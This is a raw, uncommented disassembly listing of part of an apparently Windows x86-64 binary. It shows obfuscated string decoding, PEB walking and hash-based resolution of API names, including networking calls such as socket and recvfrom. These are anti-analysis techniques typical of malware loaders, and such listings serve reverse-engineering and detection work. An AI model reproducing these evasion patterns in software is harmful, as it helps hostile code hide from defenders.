mov rdx, r8
cmp rdi, r9
ja 0x14011143c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140110b09
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, r15b
jmp 0x140110b36
je 0x1401113cc
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401113a2
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140111388
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011134a
cmp r10, r9
ja 0x140111434
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140110b5e
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x140110b9f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140111332
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011131b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140111301
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14011128e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140111274
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140111079
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14011105b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14011103e
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140111021
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140111003
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140110fe6
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140110fd8
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140110fba
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140110f9d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140110f8f
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140110bac
lea rdi, [r10 + 0x42]
lea r10, [rdi + 0x40]
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140111419
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401113fe
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140110d94
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140110d7a
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140110d60
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140110ee8
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140110ed3
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x140110ebb
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140110e99
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140110bac
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x42]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140110e7f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140110e67
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140110e4c
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140110e32
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140110e18
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140110dfd
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140110de3
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x140110dc9
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140110dae
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140110bac
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x5a]
jmp 0x140110bac
lea edx, [r9 - 0x5d]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x75
add bl, dl
jmp 0x140110b9f
lea edx, [r9 + 0x11]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x77
add bl, dl
jmp 0x140110b36
lea edx, [r9 + 0x7f]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x79
add bl, dl
jmp 0x140110ad2
lea edx, [r9 - 0x18]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x58
mov r11b, r9b
jmp 0x140111360
lea ecx, [r9 + 0x56]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x140111380
lea ecx, [r9 - 0x3c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5c
jmp 0x140111383
lea edx, [r9 + 0x32]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
mov r11b, r9b
jmp 0x140111234
lea ecx, [r9 - 0x60]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14011139d
lea ecx, [r9 + 0xe]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x1401113bd
lea edx, [r9 + 0x7c]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
mov r11b, r9b
jmp 0x1401112a4
lea edx, [r9 - 0x16]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
jmp 0x140110fb3
lea ecx, [r9 + 0x58]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401113e7
lea ecx, [r9 - 0x15]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6d
mov byte [rbp + r9 + 0x150], bl
jmp 0x1401113f6
lea edx, [r9 + 0x59]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6f
jmp 0x140110f62
lea edx, [r9 - 0x39]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x71
jmp 0x140110f30
lea edx, [r9 + 0x35]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x73
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14011125c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14011113a
lea edx, [r9 + 0x65]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3d
add bl, dl
cmp rdi, 4
jae 0x140111218
lea rax, [r10 + 0x400]
cmp rdi, rax
jbe 0x1401111cc
lea edx, [r9 + 0x62]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x42
jb 0x140110eae
mov r11b, r9b
lea edx, [r11 + 0x16]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x140111362
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x1401110ae
lea edx, [r9 + 0x5c]
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401112d0
mov r11b, r9b
lea edx, [r11 - 0x36]
mov ecx, 0x3d
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401112a4
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401110ee
lea edx, [r9 - 0x5a]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011139d
mov r11b, r9b
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140111234
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140111383
lea edx, [r9 - 0x10]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140111380
mov r11b, r9b
lea edx, [r11 + 0x5e]
mov ecx, gethostname
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140111360
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14011109c
lea edx, [r9 + 0x49]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x140110efd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401110c2
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401113e7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401110dc
mov r11b, r9b
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
jmp 0x140110fc6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140111102
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401113bd
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011111c
mov r11b, r9b
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14011100f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140110efd
mov r11b, r9b
lea edx, [r11 - 0x76]
mov ecx, Ordinal_33
jmp 0x140111067
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011115e
mov r11b, r9b
lea edx, [r11 - 9]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3f
jmp 0x140111360
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140111181
lea ecx, [r9 - 0x77]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x41
jmp 0x140111380
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401111a4
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x43
jmp 0x140111383
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140110f32
mov r11b, r9b
lea edx, [r11 + 0x63]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4b
jmp 0x1401112a4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401111e3
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x1401110ae
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401111fd
mov r11b, r9b
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x140110fc6
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140110f64
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x14011102a
mov r11b, r9b
lea edx, [r11 - 0x58]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 + 0x150]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r11b, 0xf
mov al, r11b
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, 0x69
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0x150], cl
jmp 0x14011139d
mov r11b, r9b
lea edx, [r11 + 0x3a]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401112a4
lea ecx, [r9 + 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x27
jmp 0x1401113e7
mov r11b, r9b
lea edx, [r11 - 5]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x23
add bl, dl
sub r11b, sil
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0x150], al
add r10, r15
add rax, r10
sub r9, rax
lea edx, [r9 - 0x34]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x150], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401113e7
lea ecx, [r9 + 0x69]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x21
jmp 0x1401113bd
lea ecx, [r9 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
jmp 0x140111383
mov r11b, r9b
lea edx, [r11 - 0x71]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x140111360
mov r11b, r9b
lea edx, [r11 + 0x6b]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x13
add bl, dl
add r11b, 0x5f
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x67
add r11b, r8b
mov byte [rbp + r9 + 0x150], r11b
add r10, r15
sub r9, r15
jmp 0x1401113f6
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
add rdi, r10
jmp 0x1401113bd
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401113f6
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x150]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140110abf
sub r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r14b
jmp 0x140110abc
add r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, sil
jmp 0x140110aac
mov eax, dword [rbp + 0x175ca5c]
jmp 0x14011144a
mov eax, dword [rbp + 0x164fca5]
jmp 0x14011144a
mov eax, dword [rbp + 0x150]
mov dword [0x14017bef0], eax
or rsi, 0xffffffffffffffff
mov ecx, esi
call fcn.1401577f4
call fcn.140151858
call fcn.1400ee5e4
test al, al
jne 0x140112962
mov byte [rbp + 0x190], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x191], xmm0
mov word [rbp + 0x1a1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x13
jae 0x140111cb2
movzx r8d, byte [rbp + r9 + 0x190]
mov edx, r8d
cmp rbx, r9
ja 0x140111ca9
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401114ea
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x57
jmp 0x140111524
je 0x140111c52
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140111c07
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140111bdf
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140111bc1
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140111ba6
cmp r10, r9
ja 0x140111ca0
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14011154d
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x14011158e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140111b6c
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140111b54
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140111b39
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140111aef
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140111ad2
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140111821
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140111804
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401117ea
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401117d0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401117b3
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14011159b
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140111c85
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140111663
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14011170e
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401116ec
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401116ce
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401116b1
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140111697
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14011167d
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14011159b
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x14011159b
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x140111524
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140111bbc
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140111bf5
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r11b, r9b
jmp 0x140111b0a
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111c6e
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x190], dil
jmp 0x140111c7d
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x140111ab0
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14011190b
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, 0x1000
jae 0x140111a67
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x1401119a4
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 6
jb 0x140111701
mov r11b, r9b
lea ecx, [r11 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x140111b87
mov r11b, r9b
lea ecx, [r11 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140111b0a
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140111bf5
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140111bbc
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r11b, r9b
jmp 0x140111b87
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140111844
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x140111723
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140111867
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x140111c6e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011188e
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111c25
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401118b8
mov r11b, r9b
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111b0a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401118dd
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111bf5
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140111723
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111b87
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140111931
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x140111b87
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140111954
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x140111bd7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011197a
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r11b, r9b
jmp 0x140111a8a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140111753
mov r11b, r9b
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x140111b0a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401119bb
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x1401116d7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401119d5
mov r11b, r9b
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x1401118a3
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401119f8
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140111bf5
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140111a19
mov r11b, r9b
lea edx, [r11 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140111a84
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140111a40
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111bd7
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140111789
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x140111bbc
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x190]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r11b, 0x19
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x51
add r8b, dil
add r8b, r11b
mov byte [rbp + r9 + 0x190], r8b
jmp 0x140111bf5
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x190]
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x140111b0a
lea edx, [r9 + 0x15]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140111c25
mov r11b, r9b
lea edx, [r11 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x1b
add dil, dl
add r11b, r14b
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x190], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140111c25
lea ecx, [r9 + 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x37
jmp 0x140111bf8
lea ecx, [r9 + 0x2b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2d
jmp 0x140111bd7
mov r11b, r9b
lea edx, [r11 + 0x67]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x2f
add dil, dl
sub r11b, 0x49
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, r11b
sub r8b, r15b
mov byte [rbp + r9 + 0x190], r8b
jmp 0x140111bbc
lea ecx, [r9 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x39
add r10, r15
jmp 0x140111bd7
lea ecx, [r9 - 0x21]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x19
sub r9, r15
jmp 0x140111c7d
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
add rbx, r10
movzx eax, dil
mov rcx, rsi
sub rcx, rax
add r9, rcx
jmp 0x140111c7d
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, 0x4d
add dil, cl
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x190], cl
add rbx, r15
mov rax, rsi
sub rax, rbx
add r9, rax
jmp 0x140111c6e
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x190]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14011149f
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, r14b
jmp 0x14011148c
lea rdx, [rbp + 0x16dea7c]
jmp 0x140111cb9
lea rdx, [rbp + 0x7540ad]
jmp 0x140111cb9
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x170]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x140111e2d
mov esi, r12d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x140111d45
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r13d
jmp 0x140111d37
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140111d26
cmp r8d, esi
jne 0x140111e18
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140111e18
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140111e18
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r13d
jmp 0x140111d97
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140111d8a
cmp r8d, r14d
je 0x140111dac
test ebx, ebx
jne 0x140111d78
jmp 0x140111e18
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140111e20
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140111e20
mov esi, r13d
mov r14d, r13d
jmp 0x140111de9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140111ddb
jmp 0x140111dfe
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140111df1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140111cf7
mov qword [0x14017c650], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x140111f9a
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
